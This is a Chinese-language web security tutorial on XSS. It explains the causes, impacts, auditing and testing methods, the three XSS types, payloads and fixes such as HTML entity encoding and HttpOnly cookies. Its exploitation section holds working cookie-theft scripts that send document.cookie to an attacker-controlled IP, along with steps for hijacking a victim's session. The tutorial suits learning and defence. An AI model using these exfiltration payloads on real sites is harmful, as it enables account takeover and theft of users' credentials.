XSS 跨站脚本攻击
产生原因
XSS(跨站脚本攻击,Cross Site Scripting)是一种常见的客户端安全漏洞,主要是由于后端开发人员在处理用户输入时未进行严格的验证和过滤,导致用户输入的内容被浏览器当作 JavaScript 代码执行。XSS 漏洞的本质在于,攻击者通过注入恶意脚本,利用浏览器的解析机制执行代码,从而实现攻击目的。
危害
XSS 攻击的危害范围广泛,可能影响用户、网站以及服务器的安全。以下是 XSS 攻击的主要危害:
窃取敏感信息
- 窃取 Cookie:攻击者通过执行恶意脚本获取用户的 Cookie,进而可能冒充用户身份登录网站,窃取用户账户信息。
- 窃取表单数据:攻击者可以拦截用户提交的表单数据,例如用户名、密码等敏感信息。
- 获取其他敏感数据:包括用户浏览器的会话令牌、用户输入的搜索记录等。
获取受害者浏览器信息
- 浏览器指纹:攻击者可以通过 XSS 收集用户浏览器的版本、操作系统、插件信息等,用于后续针对性攻击。
- 地理位置:结合浏览器的地理位置 API,攻击者可能获取用户的物理位置信息。
- 设备信息:如屏幕分辨率、设备类型等,增加攻击的精准性。
劫持浏览器
- 页面篡改:攻击者可通过 XSS 修改页面内容,例如插入虚假广告或恶意链接。
- 重定向攻击:将用户重定向到恶意网站,进行钓鱼攻击。
- 恶意操作:通过脚本执行用户的操作,例如自动发送消息、点赞或关注等。
分布式拒绝服务(DDoS)
- 攻击者利用 XSS 在多个受害者浏览器上执行脚本,向目标服务器发送大量请求,造成服务不可用。
传播恶意软件
- 攻击者通过 XSS 诱导用户下载恶意软件或访问恶意网站,进一步感染用户设备。
挖掘
代码审计
代码审计是通过分析源代码寻找潜在 XSS 漏洞的过程,若代码中把可控参数原样输出,就可能会导致产生 XSS 漏洞。
<?php
// 获取用户通过 GET 请求传入的 'name' 参数
$name = $_GET['name'];
// 直接将用户输入输出到页面,未进行任何过滤
echo "hello $name";
?>
审计步骤
- 定位输出点:查找代码中将变量输出到 HTML 的地方,例如
echo
、print
等。 - 检查输入来源:确认输出变量是否来源于前端传入(如
$_GET
、$_POST
、$_REQUEST
)。 - 验证过滤机制:检查变量是否经过严格的过滤或转义处理。例如,是否使用了
htmlspecialchars()
或其他编码函数。 - 关注动态内容:检查是否使用
innerHTML
、eval()
或其他不安全的 JavaScript 操作。
有过滤的代码
<?php
// 获取用户通过 GET 请求传入的 'name' 参数
$name = $_GET['name'];
// 使用 htmlspecialchars 进行 HTML 实体编码,防止脚本注入
$safe_name = htmlspecialchars($name, ENT_QUOTES, 'UTF-8');
// 输出安全的内容
echo "hello $safe_name";
?>
黑盒测试
手动测试
方法一:测试输出点 如果用户输入的内容被网站直接输出到页面,可以尝试注入以下脚本,观察是否触发弹窗:
<script>alert(1)</script>
测试步骤:
- 在网站的输入框(如搜索框、评论区)输入上述脚本。
- 提交后观察页面是否有弹窗。
- 如果弹窗触发,说明存在 XSS 漏洞。
方法二:使用 Payload 列表 从已知的 XSS Payload 列表(如 easy xss payload)中复制多个 Payload,输入到网站测试点,观察是否触发弹窗。
自动测试
使用自动化工具可以提高测试效率,常用的 XSS 扫描工具有:
- Burp Suite:通过拦截 HTTP 请求,注入 XSS Payload 并分析响应。
- XSStrike:专门用于检测 XSS 漏洞的自动化工具,支持多种 Payload 和绕过技术。
- W3af:开源的 Web 应用安全扫描工具,支持 XSS 检测。
分类
XSS 漏洞根据触发方式和影响范围可分为反射型、存储型和 DOM 型。
反射型
反射型 XSS 是一次性攻击,只对当前浏览器的当前页面生效,恶意脚本通过 URL 参数传递到服务器,服务器将参数直接嵌入页面返回给浏览器,触发脚本执行。
特点
- 触发条件:用户需点击包含恶意脚本的 URL。
- 影响范围:仅对当前页面有效,脚本不会存储到服务器。
- 传播方式:通常通过钓鱼邮件或社交工程诱导用户点击。
示例
假设一个搜索页面未过滤用户输入:
<?php
// 未过滤的搜索参数
$query = $_GET['q'];
echo "您搜索的是:$query";
?>
攻击者构造以下 URL:
http://[IP]/search?q=<script>alert(1)</script>
用户点击后,页面将显示弹窗。
存储型
存储型 XSS 是最危险的 XSS 类型,恶意脚本被存储到服务器数据库中,当其他用户访问相关页面时,脚本自动执行,并且攻击是持久性的。
特点
- 持久性:脚本存储在服务器,影响所有访问相关页面的用户。
- 触发方式:无需用户点击特定链接,访问页面即可触发。
- 常见场景:评论区、用户简介、论坛帖子等。
示例
攻击者在评论区输入:
<script>alert(1)</script>
服务器将此内容保存到数据库,其他用户访问评论页面时,脚本自动执行。
DOM 型
DOM 型 XSS 是纯粹的客户端漏洞,恶意脚本通过前端 JavaScript 直接操作 DOM 触发,不经过服务器。
利用
Payload 示例
script 标签
直接注入 JavaScript 代码:
<script>alert(1)</script>
a 标签
利用伪协议触发脚本:
<a href="javascript:alert(1)">点击</a>
事件类型
利用 HTML 元素的事件属性触发脚本:
事件参考:JavaScript 事件列表
// 图片加载完成触发
<img src="image_uri" onload="alert(1)">
// 图片加载失败触发
<img src="xxx" onerror="alert(1)">
// 鼠标悬停触发
<h1 onmouseover="alert(1)">鼠标移上来</h1>
// 鼠标点击触发
<button onclick="alert(1)">点击我</button>
······
窃取 Cookie
攻击者通过 XSS 获取用户 Cookie 是常见攻击目标。
弹窗显示 Cookie
<script>alert(document.cookie)</script>
HTTP 外带
通过构造隐形图片将 Cookie 发送到攻击者服务器:
// exp.js
// 创建一个不可见的 img 元素
var img = document.createElement('img');
// 设置图片尺寸为 0,隐藏图片
img.width = 0;
img.height = 0;
// 将 Cookie 附加到攻击者服务器的 URL
img.src = "http://192.168.31.215:8000/1.png?" + escape(document.cookie);
// 将 img 元素添加到页面
document.body.appendChild(img);
payload:
<script type="text/javascript" src="http://192.168.31.215:8000/exp.js"></script>
攻击步骤:
- 攻击者在自己的服务器(例如
192.168.31.215
)上创建exp.js
文件,即选一台受害者能够连接到的机器作为攻击机。 - 在同一目录下运行 HTTP 服务器:
python -m http.server
。 - 将 Payload 注入到目标网站的 XSS 输入点。
- 当用户访问包含 Payload 的页面时,Cookie 会被发送到攻击者服务器。
- 攻击者通过查看服务器日志获取 Cookie,并替换本地 Cookie 登录受害者账户。
使用 XMLHttpRequest 外带 Cookie
//exp.js
//创建 XMLHttpRequest 对象
var http = new XMLHttpRequest();
//获取并编码 Cookie
var result = escape(document.cookie);
//向攻击者服务器发送 GET 请求,附带 Cookie
http.open("GET", "http://192.168.31.215:8000/?" + result, true);
//发送请求
http.send();
Payload:
<script type="text/javascript" src="http://192.168.31.215:8000/exp.js"></script>
修复
修复 XSS 漏洞需要从多个层面入手,包括后端过滤、前端编码和浏览器安全机制。
过滤拦截关键字符串
后端应对用户输入进行严格过滤,移除或转义危险字符和关键字(如 <script>
、=
, javascript:
等)。
示例:PHP 过滤
<?php
// 获取用户输入
$input = $_GET['input'];
// 移除危险字符
$filtered = preg_replace('/[<>\'"\(\)]/', '', $input);
// 输出安全内容
echo $filtered;
?>
HTML 实体编码
HTML 实体参考:HTML 实体编码
将用户输入中的特殊字符转换为 HTML 实体,防止浏览器解析为代码。例如:
<
编码为<
>
编码为>
"
编码为"
示例:PHP 使用 htmlspecialchars
<?php
// 获取用户输入
$input = $_GET['input'];
// 进行 HTML 实体编码
$safe_input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// 输出安全内容
echo $safe_input;
?>
浏览器安全机制 HttpOnly Cookie
- 作用:
HttpOnly
不会修复 XSS 漏洞,而是限制 Cookie 不能被 javascript 读取,即document.cookie
不能使用了,降低了 Cookie 被窃取的风险。 - 局限性:仅保护 Cookie,无法阻止其他 XSS 攻击。
<?php
// 设置 HttpOnly Cookie
setcookie("session", "value", time() + 3600, "/", "", false, true);
?>